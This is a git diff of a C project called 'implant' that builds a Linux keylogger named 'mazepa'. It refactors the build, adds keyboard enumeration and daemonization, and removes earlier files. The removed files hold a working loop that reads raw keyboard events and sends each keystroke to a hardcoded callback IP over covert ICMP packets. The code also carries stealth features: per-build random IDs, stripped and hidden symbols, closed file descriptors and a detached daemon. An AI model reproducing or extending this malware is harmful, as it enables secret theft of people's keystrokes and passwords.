diff --git a/implant/.gitignore b/implant/.gitignore
@@ -4,3 +4,4 @@ objects/
*gcno
*gcda
*txt
+mazepa_*
diff --git a/implant/Makefile b/implant/Makefile
@@ -1,24 +1,25 @@
-########################
-#### VARIABLES #########
-########################
-NAME = implant
+ifeq ($(MAKECMDGOALS), debug)
+ CLIENT_ID = DEBUG
+else
+ CLIENT_ID = $(shell echo $$RANDOM | md5sum | head -c 10)
+endif
+
+NAME = mazepa_$(CLIENT_ID)
CC = clang
RM = rm -rf
INCLUDES = -I./includes/
LINK_FLAG =
-
CFLAGS = -Wno-unused-command-line-argument -fPIC
-
ifeq ($(MAKECMDGOALS), debug)
- CFLAGS += -g3 -DDEBUG -Wno-format-security -Wno-visibility
+ CFLAGS += -g3 -DDEBUG -Wno-format-security -Wno-visibility -DCLIENTID=DEBUG -Wno-unsafe-buffer-usage
else
CFLAGS += -Wall -Wextra -Os -Weverything -Wpedantic -Wl,-s
- CFLAGS += -flto -m64 -fvisibility=hidden -fvisibility-inlines-hidden -s
+ CFLAGS += -flto -m64 -fvisibility=hidden -fvisibility-inlines-hidden -s -Wno-unsafe-buffer-usage
CFLAGS += -Wno-padded -Wno-gnu-zero-variadic-macro-arguments -Wno-declaration-after-statement
- CFLAGS += -static -Wno-visibility
+ CFLAGS += -static -Wno-visibility -DCLIENTID=$(CLIENT_ID)
endif
@@ -30,11 +31,8 @@ OBJECT_DIR = ./objects
vpath %$(PATTERN) $(SRC_DIR)
MAIN = main.c
-SRC = opt.c utils.c keyboard.c logger.c net.c daemon.c
+SRC = opt.c utils.c daemon.c kbd.c
-########################
-#### COMPILATION #######
-########################
COMBINED = $(SRC) $(MAIN)
OBJ = $(patsubst %$(PATTERN), $(OBJECT_DIR)/%$(OBJPATTERN), $(COMBINED))
@@ -45,6 +43,11 @@ all: directories $(NAME) ## generate PROD binary (you might have to run make fcl
@strip -s $(NAME)
@echo " [*** BINARY STRIP DONE ***]"
+.PHONY: help
+help:
+ @echo "\033[34mtargets:\033[0m"
+ @perl -nle'print $& if m{^[a-zA-Z_-\d]+:.*?## .*$$}' $(MAKEFILE_LIST) | sort | awk 'BEGIN {FS = ":.*?## "}; {printf "\033[36m%-22s\033[0m %s\n", $$1, $$2}'
+
.PHONY: debug
debug: directories $(NAME) ## generate DEBUG binary (you might have to run make fclean before)
@@ -70,7 +73,7 @@ clean: ## removes object files
.PHONY: fclean
fclean: clean ## removes all compilation artifacts
- @$(RM) $(NAME)
+ @$(RM) $(NAME) mazepa_*
@echo "[*** CLEAN ***]"
.PHONY: re ## cleans everything and rebuild PROD binary
diff --git a/implant/includes/implant.h b/implant/includes/implant.h
@@ -8,7 +8,6 @@
#include <unistd.h>
#define QUEUE_BUFFER_SIZE 1024
-
#define STRING_BUFFER_SIZE 256
/*
@@ -19,10 +18,10 @@ typedef struct keyboard_s keyboard_t;
struct keyboard_s {
int fd;
- ssize_t nb_chars;
- char buffer[QUEUE_BUFFER_SIZE];
+ uint64_t nb_chars;
+ uint8_t buffer[QUEUE_BUFFER_SIZE];
- char name[STRING_BUFFER_SIZE];
+ int8_t name[STRING_BUFFER_SIZE];
TAILQ_ENTRY(keyboard_s)
devices;
};
@@ -35,9 +34,9 @@ struct keyboard_s {
typedef struct implant_s {
/* remote connection settings */
- unsigned short port;
- char ip[STRING_BUFFER_SIZE];
- int disable_net;
+ uint16_t port;
+ int8_t ip[STRING_BUFFER_SIZE];
+ uint8_t disable_net;
/* keyboard settings (multiple if using dock or something) */
TAILQ_HEAD(listhead, keyboard_s)
@@ -46,6 +45,9 @@ typedef struct implant_s {
uint8_t using_caps_lock;
} implant_t;
+/* will be overriden by make rules if debug mode not enabled */
+#define CLIENT_ID ("DEBUG")
+
#define SUCCESSFUL 1
#define ERROR 0
@@ -55,7 +57,7 @@ typedef struct implant_s {
#ifndef DEBUG_LOG
#define DEBUG_LOG(s, ...) \
do { \
- char data[256] = {0}; \
+ char data[512] = {0}; \
if (0 > snprintf(data, 255, s, ##__VA_ARGS__)) \
_exit(1); \
syslog(LOG_NOTICE, data); \
@@ -65,30 +67,20 @@ typedef struct implant_s {
#define KEY_PRESSED 1
#define KEY_RELEASED 0
-// net.c
-int retrieve_ip_address(char *ip[32]);
-int send_key_icmp(implant_t *, struct input_event);
-
// opt.c
-int parse_user_input(int, char **, implant_t *);
+int run_lexer(int, char **, implant_t *);
-// logger.c
-void keylog(implant_t *);
-
-// keyboard.c
-void fetch_available_keyboards(implant_t *);
-
-// daemon.c
+// deamon.c
void daemon_setup(void);
+// kbd.c
+uint8_t fetch_available_keyboards(implant_t *instance);
+
// utils.c
-int read_file(char const *, char **);
-size_t
-get_array_size(uint8_t **);
-char *
-remove_repeating_whitespaces(char *);
-void free_tab(uint8_t **);
-char **
-tabgen(const char *, char);
+int8_t file_get_contents(int8_t const *, int8_t **);
+int8_t *remove_repeating_whitespaces(int8_t *);
+uint32_t array_get_size(int8_t **);
+void array_free(int8_t **);
+int8_t **array_from_string(const int8_t *, int8_t);
#endif /* IMPLANT_H */
diff --git a/implant/sources/daemon.c b/implant/sources/daemon.c
@@ -1,4 +1,3 @@
-
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
@@ -8,22 +7,15 @@
#include "implant.h"
void daemon_setup(void) {
-
pid_t pid;
/* Fork off the parent process */
pid = fork();
- if (pid < 0)
+ if (pid != 0 || setsid() < 0)
exit(EXIT_FAILURE);
- if (pid > 0)
- exit(EXIT_SUCCESS);
-
- if (setsid() < 0)
- exit(EXIT_FAILURE);
-
- /* FIXME: implement decent signal handler here */
+ /* FIXME(djnn): implement cleaner signal handler here */
signal(SIGCHLD, SIG_IGN);
signal(SIGHUP, SIG_IGN);
@@ -35,11 +27,9 @@ void daemon_setup(void) {
exit(EXIT_SUCCESS);
umask(0);
- chdir("/tmp");
-
for (long x = sysconf(_SC_OPEN_MAX); x >= 0; x--) {
close((int)x);
}
- openlog("mazepa", LOG_PID, LOG_DAEMON);
+ openlog(CLIENT_ID, LOG_PID, LOG_DAEMON);
}
diff --git a/implant/sources/kbd.c b/implant/sources/kbd.c
@@ -0,0 +1,109 @@
+/*
+ keyboard handling & locale support
+
+ input devices usually live in /dev/input/
+
+ you can identify the in the by-path subdirectory, which maps each
+ device name to a symlink
+
+ here, we will return set an array of file-descriptor for each available
+ keyboard on the machine, it should be appended with a -1 that should serve
+ as a NULL value
+*/
+
+#include "implant.h"
+
+#include <dirent.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <stddef.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/queue.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+static int
+is_kbd(const struct dirent *f) {
+ size_t len = 0;
+
+ if (NULL == f)
+ return 0;
+
+ len = strlen(f->d_name);
+ if (len < 3)
+ return 0;
+
+ return f->d_name[len - 3] == 'k' && f->d_name[len - 2] == 'b' &&
+ f->d_name[len - 1] == 'd';
+}
+
+uint8_t fetch_available_keyboards(implant_t *instance) {
+ /* FIXME(djnn): decrypt strings at runtime */
+
+ char rpath[2048] = {0};
+ struct dirent **char_devices = NULL;
+ int possible_paths = 0;
+
+ if (!instance) {
+
+#ifdef DEBUG
+ DEBUG_LOG("[!] NULL ptr for instance struct\n");
+#endif
+ return ERROR;
+ }
+
+ possible_paths = scandir("/dev/input/by-path/", &char_devices, &is_kbd, &alphasort);
+ if (-1 == possible_paths || 0 > chdir("/dev/input/by-path/")) {
+
+#ifdef DEBUG
+ DEBUG_LOG("could not find possible keyboard paths\n");
+#endif
+
+ return ERROR;
+ }
+
+ /* prepare TAILQ */
+ TAILQ_INIT(&instance->kbd);
+ for (int ctr = -1; ++ctr < possible_paths;) {
+ if (!realpath(char_devices[ctr]->d_name, rpath)) {
+
+#ifdef DEBUG
+ DEBUG_LOG("[!] Could not run realpath(%s): %s\n", char_devices[ctr]->d_name, strerror(errno));
+#endif
+
+ continue;
+ }
+
+ keyboard_t *kbd = malloc(sizeof(keyboard_t));
+ if (!kbd) {
+
+#ifdef DEBUG
+ DEBUG_LOG("[!] allocate memory for keyboard_t\n");
+#endif
+
+ continue;
+ }
+
+ kbd->fd = open(rpath, O_RDONLY | O_NOCTTY | O_NDELAY);
+ if (kbd->fd < 0) {
+
+#ifdef DEBUG
+ DEBUG_LOG("[!] Could not open %s: %s\n", rpath, strerror(errno));
+#endif
+
+ continue;
+ }
+
+ /* FIXME(djnn): this does not spark joy */
+ memset(kbd->name, 0, STRING_BUFFER_SIZE);
+ strncpy((char *)kbd->name, rpath, (STRING_BUFFER_SIZE - 1));
+ TAILQ_INSERT_HEAD(&instance->kbd, kbd, devices);
+ }
+
+ array_free((int8_t **)char_devices);
+ return TAILQ_EMPTY(&instance->kbd) ? ERROR : SUCCESSFUL;
+}
diff --git a/implant/sources/keyboard.c b/implant/sources/keyboard.c
@@ -1,100 +0,0 @@
-
-/*
- keyboard handling and local support.
-*/
-
-#include "implant.h"
-
-#include <dirent.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <stddef.h>
-#include <stdint.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/queue.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <unistd.h>
-
-static int
-is_kbd(const struct dirent *f) {
- size_t len = strlen(f->d_name);
-
- if (len < 3)
- return 0;
-
- return f->d_name[len - 3] == 'k' && f->d_name[len - 2] == 'b' &&
- f->d_name[len - 1] == 'd';
-}
-
-void fetch_available_keyboards(implant_t *instance) {
-
- /*
- input devices usually live in /dev/input/
-
- you can identify the in the by-path subdirectory, which maps each
- device name to a symlink
-
- here, we will return set an array of file-descriptor for each available
- keyboard on the machine, it should be appended with a -1 that should serve
- as a NULL value
- */
-
- struct dirent **char_devices = NULL;
- int possible_paths =
- scandir("/dev/input/by-path/", &char_devices, &is_kbd, &alphasort);
-
- if (-1 == possible_paths || 0 > chdir("/dev/input/by-path/")) {
-
-#ifdef DEBUG
- DEBUG_LOG("could not find possible keyboard paths");
-#endif
-
- return;
- }
-
- /* prepare TAILQ */
- TAILQ_INIT(&instance->kbd);
-
- char rpath[2048] = {0};
- for (int ctr = -1; ++ctr < possible_paths;) {
- if (!realpath(char_devices[ctr]->d_name, rpath)) {
-
-#ifdef DEBUG
- DEBUG_LOG("[!] Could not run realpath(%s): %s", char_devices[ctr]->d_name, strerror(errno));
-#endif
-
- continue;
- }
-
- keyboard_t *kbd = malloc(sizeof(keyboard_t));
- if (!kbd) {
-
-#ifdef DEBUG
- DEBUG_LOG("[!] allocate memory for keyboard_t");
-#endif
-
- continue;
- }
-
- kbd->fd = open(rpath, O_RDONLY | O_NOCTTY | O_NDELAY);
- if (kbd->fd < 0) {
-
-#ifdef DEBUG
- DEBUG_LOG("[!] Could not open %s: %s", rpath, strerror(errno));
-#endif
-
- continue;
- }
-
- memset(kbd->name, 0, 64);
- strncpy(kbd->name, rpath, 63);
- TAILQ_INSERT_HEAD(&instance->kbd, kbd, devices);
- }
-
- for (int ctr = -1; ++ctr < possible_paths;)
- free(char_devices[ctr]);
- free(char_devices);
-}
diff --git a/implant/sources/logger.c b/implant/sources/logger.c
@@ -1,188 +0,0 @@
-
-#include <alloca.h>
-#include <bits/types/struct_timeval.h>
-#include <errno.h>
-#include <linux/input-event-codes.h>
-#include <linux/input.h>
-#include <stdbool.h>
-#include <stddef.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/queue.h>
-#include <sys/select.h>
-#include <sys/types.h>
-#include <unistd.h>
-#include "implant.h"
-
-static int
-get_highest_fd(const implant_t *instance) {
- int highest_fd = -1;
-
- keyboard_t *it = NULL;
- TAILQ_FOREACH(it, &instance->kbd, devices) {
- highest_fd = (it->fd > highest_fd) ? it->fd : highest_fd;
- }
- return highest_fd;
-}
-
-static int
-log_keyboard(const int fd, struct input_event *evt, implant_t *implant) {
- static bool shift_pressed = false;
-
- /*
- read events out of /dev/input/by-path/${**}-kbd
-
- TODO:
- for now, we only read one, but we can attempt to read them in
- bulk of 6-10 once bufferizing messages is implemented
- */
-
- ssize_t bytes_read = read(fd, evt, sizeof(struct input_event));
-#ifdef DEBUG
- DEBUG_LOG("[!] read %ld bytes", bytes_read);
-#endif
-
- if (bytes_read != sizeof(struct input_event)) {
-
-#ifdef DEBUG
- DEBUG_LOG("[!] read() error: %s", strerror(errno));
-#endif
-
- return ERROR;
- }
-
- /* checking is we are in MAJ key. TODO: check if CAPS_LOCK is enabled or not.
- */
- if (evt->type == EV_KEY && evt->value == KEY_RELEASED) {
- if (evt->code == KEY_LEFTSHIFT || evt->code == KEY_RIGHTSHIFT) {
- shift_pressed = false;
- }
- }
-
- if (evt->type == EV_KEY && evt->value == KEY_PRESSED) {
- if (evt->code == KEY_LEFTSHIFT || evt->code == KEY_RIGHTSHIFT) {
- shift_pressed = true;
- }
- }
-
- implant->using_caps_lock = (uint8_t)shift_pressed;
- return SUCCESSFUL;
-}
-
-/*
- main loop to listen for keys and stuff
-*/
-void keylog(implant_t *instance) {
-
- /* first set up select etc */
- int highest_fd = get_highest_fd(instance);
- fd_set rd, err;
- int status = 0;
-
- if (highest_fd < 0) {
-
-#ifdef DEBUG
- DEBUG_LOG("[!] no keyboard found. exiting");
-#endif
-
- return;
- }
- /* run the damn loop */
- while (0x520) {
-
- /* setup FD-sets */
- keyboard_t *it = NULL;
- TAILQ_FOREACH(it, &instance->kbd, devices) {
- if (!it) {
-
-#ifdef DEBUG
- DEBUG_LOG("[!] instance->kbd has reached a NULL pointer");
-#endif
- continue;
- }
-
- FD_SET(it->fd, &rd);
- FD_SET(it->fd, &err);
- }
-
- /*
- check if a key has been pressed
-
- i really dont like this method because it means that everytime you
- press a key, a least 2 syscalls are ran (select & read)
-
- since we are buffering the keys anyway, why not poll for new events
- every n seconds & then call read() ? is there a risk of missing keys?
- tbd
-
- this select method works well for servers, but not really to poll new
- events
- */
-#ifdef DEBUG
- struct timeval timeout = {0, 1};
- status = select(highest_fd + 1, &rd, NULL, &err, &timeout);
-#else
- status = select(highest_fd + 1, &rd, NULL, &err, NULL);
-#endif
-
- if (status < 0) {
-
-#ifdef DEBUG
- DEBUG_LOG("[!] select error: %s", strerror(errno));
-#endif
-
- goto LOG_FUNCTION_CLEANUP;
- }
-
- /* check file descriptors (first for error, then for new input) */
- it = NULL;
- TAILQ_FOREACH(it, &instance->kbd, devices) {
- if (FD_ISSET(it->fd, &err)) {
-
-#ifdef DEBUG
- DEBUG_LOG("[!] Error on file descriptor %d", it->fd);
-#endif
-
- /* keyboard has been un-plugged, let's continue */
- FD_CLR(it->fd, &rd);
- FD_CLR(it->fd, &err);
-
- close(it->fd);
-
- /* making sure we dont have a memory leak here */
- void *tmp_ptr = &instance->kbd;
- TAILQ_REMOVE(&instance->kbd, it, devices);
-
- free(tmp_ptr);
- continue;
- }
-
- /* checking for new input here */
- if (FD_ISSET(it->fd, &rd)) {
-
- struct input_event evt = {0};
- /*
- should we really kill the run here or can we recover this ?
- i need to run some tests before making a decision.
- */
- if (ERROR == log_keyboard(it->fd, &evt, instance)) {
- goto LOG_FUNCTION_CLEANUP;
- }
-
- if (ERROR == send_key_icmp(instance, evt)) {
- goto LOG_FUNCTION_CLEANUP;
- }
- }
- }
- }
-
-LOG_FUNCTION_CLEANUP:
-
- /* closing file descriptors if instance still exists */
- if (instance != NULL) {
- keyboard_t *it = NULL;
- TAILQ_FOREACH(it, &instance->kbd, devices) {
- close(it->fd);
- }
- }
-}
diff --git a/implant/sources/main.c b/implant/sources/main.c
@@ -4,22 +4,33 @@
#include <unistd.h>
#include "implant.h"
-int main(int ac, char **av, __attribute__((unused)) char **envp) {
+int main(
+#ifdef DEBUG
+ int ac,
+ char **av,
+#else
+ __attribute__((unused)) int ac,
+ __attribute__((unused)) char **av,
+#endif
+ __attribute__((unused)) char **envp) {
implant_t instance = {
- .ip = {0}, .port = 80, /* ip can be a domain name */
+ .ip = {"10.0.2.2"}, .port = 80, /* ip can be a domain name */
};
- if (ERROR == parse_user_input(ac, av, &instance))
+#ifdef DEBUG
+ if (ERROR == run_lexer(ac, av, &instance))
return 1;
- daemon_setup();
+ DEBUG_LOG("[*] settings:\n\tIP:%s\n\tPort:%d", instance.ip, instance.port);
+#else
+ /* TODO(djnn): instance_load_from_memory(&instance); */
-#ifdef DEBUG
- DEBUG_LOG("[*] Implant settings:\n\tIP:%s\n\tPort:%d", instance.ip, instance.port);
+ daemon_setup();
#endif
- fetch_available_keyboards(&instance);
- keylog(&instance);
+ if (ERROR == fetch_available_keyboards(&instance))
+ return 1;
+
return 0;
}
diff --git a/implant/sources/net.c b/implant/sources/net.c
@@ -1,227 +0,0 @@
-
-#include <alloca.h>
-#include <linux/input.h>
-#include <stdlib.h>
-
-#include <arpa/inet.h>
-#include <net/if.h>
-#include <netinet/in.h>
-#include <netinet/ip.h>
-#include <netinet/ip_icmp.h>
-#include <stdint.h>
-#include <stdio.h>
-#include <string.h>
-#include <sys/ioctl.h>
-#include <sys/socket.h>
-#include <unistd.h>
-#include "implant.h"
-
-int retrieve_ip_address(char *ip[32]) {
-
- /* open UDP socket to resolver google DNS, retrieve IP address in resp */
-
- const char *resolver = "8.8.8.8";
- const uint16_t dns_port = 53;
-
- int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
- if (sockfd < 0) {
-#ifdef DEBUG
- DEBUG_LOG("[+] could not load UDP socket in retrieve_ip_address()\n");
- perror("socket");
-#endif
-
- cleanup_close_socket:
- close(sockfd);
- return 0;
- }
-
- struct sockaddr_in serv = {0};
- serv.sin_family = AF_INET;
- serv.sin_addr.s_addr = inet_addr(resolver);
- serv.sin_port = htons(dns_port);
-
- if (-1 == connect(sockfd, (const struct sockaddr *)&serv, sizeof(serv))) {
-#ifdef DEBUG
- DEBUG_LOG("[+] could not connect to %s (port: %d)\n", resolver, dns_port);
- perror("connect");
-#endif
-
- goto cleanup_close_socket;
- }
-
- struct sockaddr_in name;
- socklen_t namelen = sizeof(name);
- if (-1 == getsockname(sockfd, (struct sockaddr *)&name, &namelen)) {
-#ifdef DEBUG
- DEBUG_LOG("[+] could not get socket name\n");
- perror("getsockname");
-#endif
-
- goto cleanup_close_socket;
- }
-
- const char *p = inet_ntop(AF_INET, &name.sin_addr, *ip, 32);
- if (!p) {
-
- goto cleanup_close_socket;
- }
-
- close(sockfd);
- return 1;
-}
-
-static uint16_t icmp_checksum(uint16_t *addr, int len) {
- int nleft = len;
- uint32_t sum = 0;
- uint16_t *w = addr;
- uint16_t answer = 0;
-
- // Adding 16 bits sequentially in sum
- while (nleft > 1) {
- sum += *w;
- nleft -= 2;
- w++;
- }
-
- // If an odd byte is left
- if (nleft == 1) {
- *(unsigned char *)(&answer) = *(unsigned char *)w;
- sum += answer;
- }
-
- sum = (sum >> 16) + (sum & 0xffff);
- sum += (sum >> 16);
- answer = ~sum;
-
- return answer;
-}
-
-/* Layout of the DATA packet is following
- * [ Locale (length: 31), using_cap_lock, struct input_event dump ]
- */
-int send_key_icmp(implant_t *implant, struct input_event event) {
-
- char payload[sizeof(struct input_event) + 32] = {0};
-
- /* for the userland implant, we will always assume the locale is
- * US, because I haven't yet found a way to hook evdev driver from here
- * and recover translated keys. Alternative would be to use something like
- * libxkbcommon but this means we cannot compile statically, which is something
- * that i want.
- *
- * If you want to have translated keys, for now you must use the kernel
- * module in the kernel/ directory. it will respect the same protocol
- * and be able to retrieve the information that you want.
- */
- strncpy(payload, "us", 2);
- payload[31] = implant->using_caps_lock;
- memccpy(payload + 32, &event, 0, sizeof(struct input_event));
-
- /* set up ICMP socket */
- int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
- if (sockfd < 0) {
-#ifdef DEBUG
- DEBUG_LOG("[+] could not load ICMP socket\n");
- perror("socket");
-#endif
-
- cleanup_error:
- close(sockfd);
- return ERROR;
- }
-
- int enabled = 1;
- if (setsockopt(sockfd, IPPROTO_IP,
- IP_HDRINCL,
- (const char *)&enabled,
- sizeof(enabled)) == -1) {
-#ifdef DEBUG
- DEBUG_LOG("[+] could not set ICMP socket options\n");
- perror("setsockopt");
-#endif
-
- goto cleanup_error;
- }
-
- if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT,
- &enabled,
- sizeof(int)) < 0) {
-#ifdef DEBUG
- DEBUG_LOG("[+] could not set ICMP socket options\n");
- perror("setsockopt");
-#endif
-
- goto cleanup_error;
- }
-
- /* set packet metadata */
-
- /* NOTE(djnn): this will be the local IP address, dont rely on this on
- the dashboard side (use whatever your redirector / firewall gives u) */
- char *local_ip = alloca(32);
- if (!retrieve_ip_address((char **)&local_ip)) {
-#ifdef DEBUG
- DEBUG_LOG("[+] could not get public ip address\n");
-#endif
-
- goto cleanup_error;
- }
-
- int packet_type = ICMP_ECHOREPLY;
-
- struct in_addr src_addr = {0};
- struct in_addr dest_addr = {0};
-
- inet_pton(AF_INET, local_ip, &src_addr);
- inet_pton(AF_INET, implant->ip, &dest_addr);
-
- /* this will be what we actually send (basically just payload + a bunch of things) */
- char *full_packet = NULL;
- int packetsz = sizeof(struct iphdr) + sizeof(struct icmphdr) + sizeof(payload);
-
- full_packet = calloc(packetsz, sizeof(uint8_t));
- if (!full_packet) {
-#ifdef DEBUG
- DEBUG_LOG("[+] send_icmp: could not allocate heap memory!\n");
- perror("calloc");
-#endif
-
- goto cleanup_error;
- }
-
- struct iphdr *ip = (struct iphdr *)full_packet;
- struct icmphdr *icmp = (struct icmphdr *)(full_packet + sizeof(struct iphdr));
- char *icmp_payload = (char *)(full_packet + sizeof(struct iphdr) + sizeof(struct icmphdr));
-
- /* configuring the headers */
-
- ip->version = 4;
- ip->ihl = 5;
- ip->tos = 0;
- ip->id = rand();
- ip->frag_off = 0;
- ip->ttl = 255;
- ip->protocol = IPPROTO_ICMP;
- ip->tot_len = htons(packetsz);
- ip->saddr = src_addr.s_addr;
- ip->daddr = dest_addr.s_addr;
-
- icmp->code = 0;
- icmp->un.echo.sequence = rand();
- icmp->un.echo.id = rand();
- icmp->checksum = 0;
-
- memcpy(icmp_payload, payload, sizeof(payload));
-
- icmp->type = ICMP_ECHOREPLY;
- icmp->checksum = icmp_checksum((unsigned short *)icmp, sizeof(struct icmphdr) + sizeof(payload));
-
- struct sockaddr_in servaddr;
- memset(&servaddr, 0, sizeof(struct sockaddr_in));
- servaddr.sin_family = AF_INET;
- servaddr.sin_addr.s_addr = dest_addr.s_addr;
-
- sendto(sockfd, full_packet, packetsz, 0, (struct sockaddr *)&servaddr, sizeof(struct sockaddr_in));
- free(full_packet);
- return SUCCESSFUL;
-}
diff --git a/implant/sources/opt.c b/implant/sources/opt.c
@@ -10,52 +10,43 @@
#include "implant.h"
-static void
-help_mode(char const *binary_path) {
+static void help_mode(void) {
#ifdef DEBUG
- printf("%s USAGE:\n\t-i\tCallback IP Address\n\t-p\tCallback "
+ printf("mazepa_%s USAGE:\n\t-i\tCallback IP Address\n\t-p\tCallback "
"Port\n\t-n\tDisable network connection (for debug)\n",
- binary_path);
-#else
- (void)binary_path;
+ CLIENT_ID);
#endif
}
-int parse_user_input(int ac, char **av, implant_t *settings) {
+int run_lexer(int ac, char **av, implant_t *settings) {
int c = 0;
-#ifdef DEBUG
char const *options = "i:p:hn";
-#else
- char const *options = "i:p:h";
-#endif
do {
c = getopt(ac, av, options);
switch (c) {
-#ifdef DEBUG
case 'n':
settings->disable_net = 1;
break;
-#endif
+
case 'i':
strncpy((char *)&settings->ip, optarg, 255);
break;
case 'p':
- settings->port = (unsigned short)strtoul(optarg, NULL, 0);
+ settings->port = (uint16_t)strtoul(optarg, NULL, 0);
break;
- case 'h':
- help_mode(av[0]);
- exit(0);
- /* will exit on help_mode() anyway */
-
case '?':
- help_mode(av[0]);
+ help_mode();
return ERROR;
+ case 'h':
+ help_mode();
+ exit(0);
+
default:
break;
}
diff --git a/implant/sources/utils.c b/implant/sources/utils.c
@@ -1,7 +1,21 @@
-/*
- random useful functions
-*/
+/**
+ * This file contains a collection of utility functions for various tasks.
+ *
+ * `file_get_contents`: Reads a file and returns its contents as a null-terminated string.
+ * The file path is passed as the first argument, and a pointer to the file contents is returned as the second argument.
+ *
+ * `remove_repeating_whitespaces`: Removes consecutive whitespace characters from a string and returns the modified string.
+ *
+ * `array_get_size`: Returns the size of a dynamically allocated array of int8_t values.
+ * The array is passed as a pointer to the first element.
+ *
+ * `array_free`: Frees a dynamically allocated array of int8_t values.
+ * The array is passed as a pointer to the first element.
+ *
+ * `array_from_string`: Generates a table of strings from a given prefix and suffix.
+ * The prefix and suffix are passed as strings, and the function returns a dynamically allocated array of strings.
+ */
#include "implant.h"
@@ -17,71 +31,100 @@
#include <sys/types.h>
#include <unistd.h>
-int read_file(char const *path, char **buffer) {
+int8_t file_get_contents(int8_t const *path, int8_t **buffer) {
+ struct stat st = {0};
+ int fd = 0;
+ int64_t filesize = 0;
+ int64_t bytes_read = 0;
- int fd = open(path, O_RDONLY);
+ if (NULL == path) {
+#ifdef DEBUG
+ DEBUG_LOG("[%s] %s is NULL\n", CLIENT_ID, path);
+#endif
+ return ERROR;
+ }
+
+ fd = open((const char *)path, O_RDONLY);
if (0 > fd) {
#ifdef DEBUG
- DEBUG_LOG("Could not open %s: %s", path, strerror(errno));
+ DEBUG_LOG("[%s] Could not open %s: %s\n", CLIENT_ID, path, strerror(errno));
#endif
return ERROR;
}
/* could use fseek but stat is posix so let's use that */
- struct stat st;
if (0 > fstat(fd, &st)) {
#ifdef DEBUG
- DEBUG_LOG("Could not call fstat on %s: %s", path, strerror(errno));
+ DEBUG_LOG("[%s] Could not call fstat on %s: %s\n", CLIENT_ID, path, strerror(errno));
#endif
return ERROR;
}
- unsigned long filesize = (unsigned long)st.st_size;
+ filesize = (int64_t)st.st_size;
+
+ if (!buffer) {
+#ifdef DEBUG
+ DEBUG_LOG("[%s] file_get_contents: buffer addr is NULL\n", CLIENT_ID);
+#endif
+ return ERROR;
+ }
- *buffer = malloc(sizeof(char) * (filesize + 1));
+ *buffer = malloc(sizeof(int8_t) * (uint64_t)(filesize + 1));
if (!buffer || !(*buffer)) {
#ifdef DEBUG
- DEBUG_LOG("Could not allocate memory for %s: %s", path, strerror(errno));
+ DEBUG_LOG("[%s] file_get_contents: could not allocate memory for %s: %s", CLIENT_ID, path, strerror(errno));
#endif
return ERROR;
}
- ssize_t bytes = read(fd, *buffer, filesize);
- if (bytes != st.st_size) {
+ /* FIXME(djnn):
+
+ read file by chunks, append to circular-buffer data structure.
+ we only read small files with this for now though, less syscalls is better probablies.
+ */
+
+ bytes_read = (int64_t)read(fd, *buffer, (uint64_t)filesize);
+ if (bytes_read != filesize) {
#ifdef DEBUG
- DEBUG_LOG("[!] Should have read %ld bytes but read %ld (filepath: %s)",
+ DEBUG_LOG("[%s] Should have read %ld bytes but read %ld (filepath: %s)\n",
+ CLIENT_ID,
st.st_size,
bytes,
path);
#endif
+ }
- if (bytes < 0) {
+ if (bytes_read < 0) {
#ifdef DEBUG
- DEBUG_LOG("read: %s", strerror(errno));
+ DEBUG_LOG("[%s] read: %s", CLIENT_ID, strerror(errno));
#endif
- return ERROR;
+ if (NULL != buffer) {
+ free(*buffer);
}
+ return ERROR;
}
- *buffer[bytes] = 0;
+ if (buffer != NULL)
+ *buffer[bytes_read] = '\0';
close(fd);
+
return SUCCESSFUL;
}
static size_t
-get_nb_cols(const char *str, int n, char separator) {
+get_nb_cols(const int8_t *str, int n, int8_t separator) {
size_t i = (size_t)n;
size_t res = 0;
if (str == NULL || str[0] == '\0')
return 0;
- for (; str[i] != '\0' && str[i] != separator; i++, res++)
+ for (; str[i] && str[i] != separator; i++, res++)
;
return (res);
}
static size_t
-get_nb_rows(const char *str, char separator) {
+get_nb_rows(const int8_t *str, int8_t separator) {
int i;
size_t res = 0;
@@ -95,28 +138,28 @@ get_nb_rows(const char *str, char separator) {
return (res + 1);
}
-char **
-tabgen(const char *str, char separator) {
+int8_t **
+array_from_string(const int8_t *str, int8_t separator) {
size_t i = 0;
size_t malloc_size = 0;
size_t index_str = 0;
- char **res = NULL;
+ int8_t **res = NULL;
if (str == NULL || *str == 0)
return NULL;
- res = malloc(sizeof(char *) * (get_nb_rows(str, separator) + 1));
+ res = malloc(sizeof(int8_t *) * (get_nb_rows(str, separator) + 1));
for (; i < get_nb_rows(str, separator); i++) {
malloc_size = get_nb_cols(&str[index_str], 0, separator);
- res[i] = malloc(sizeof(char) * (malloc_size + 4));
+ res[i] = malloc(sizeof(int8_t) * (malloc_size + 4));
if (!res[i]) {
res[i] = NULL;
- free_tab((uint8_t **)res);
+ array_free((int8_t **)res);
return NULL;
}
- res[i] = strncpy(res[i], &str[index_str], malloc_size);
+ res[i] = (int8_t *)strncpy((char *)res[i], (const char *)&str[index_str], malloc_size);
res[i][malloc_size] = '\0';
index_str = index_str + malloc_size + 1;
@@ -126,14 +169,23 @@ tabgen(const char *str, char separator) {
return (res);
}
-void free_tab(uint8_t **tab) {
+void array_free(int8_t **tab) {
for (size_t ctr = 0; tab[ctr] != NULL; ctr++)
free(tab[ctr]);
free(tab);
}
-char *
-remove_repeating_whitespaces(char *s) {
+uint32_t array_get_size(int8_t **array) {
+ uint32_t ctr = 0;
+
+ if (!array)
+ return 0;
+ while (array[ctr++])
+ ;
+ return ctr;
+}
+
+int8_t *remove_repeating_whitespaces(int8_t *s) {
size_t i = 0;
size_t x = 0;
@@ -147,14 +199,3 @@ remove_repeating_whitespaces(char *s) {
s[x] = '\0';
return s;
}
-
-size_t
-get_array_size(uint8_t **array) {
- size_t ctr = 0;
-
- if (!array)
- return 0;
- while (array[ctr++])
- ;
- return ctr;
-}
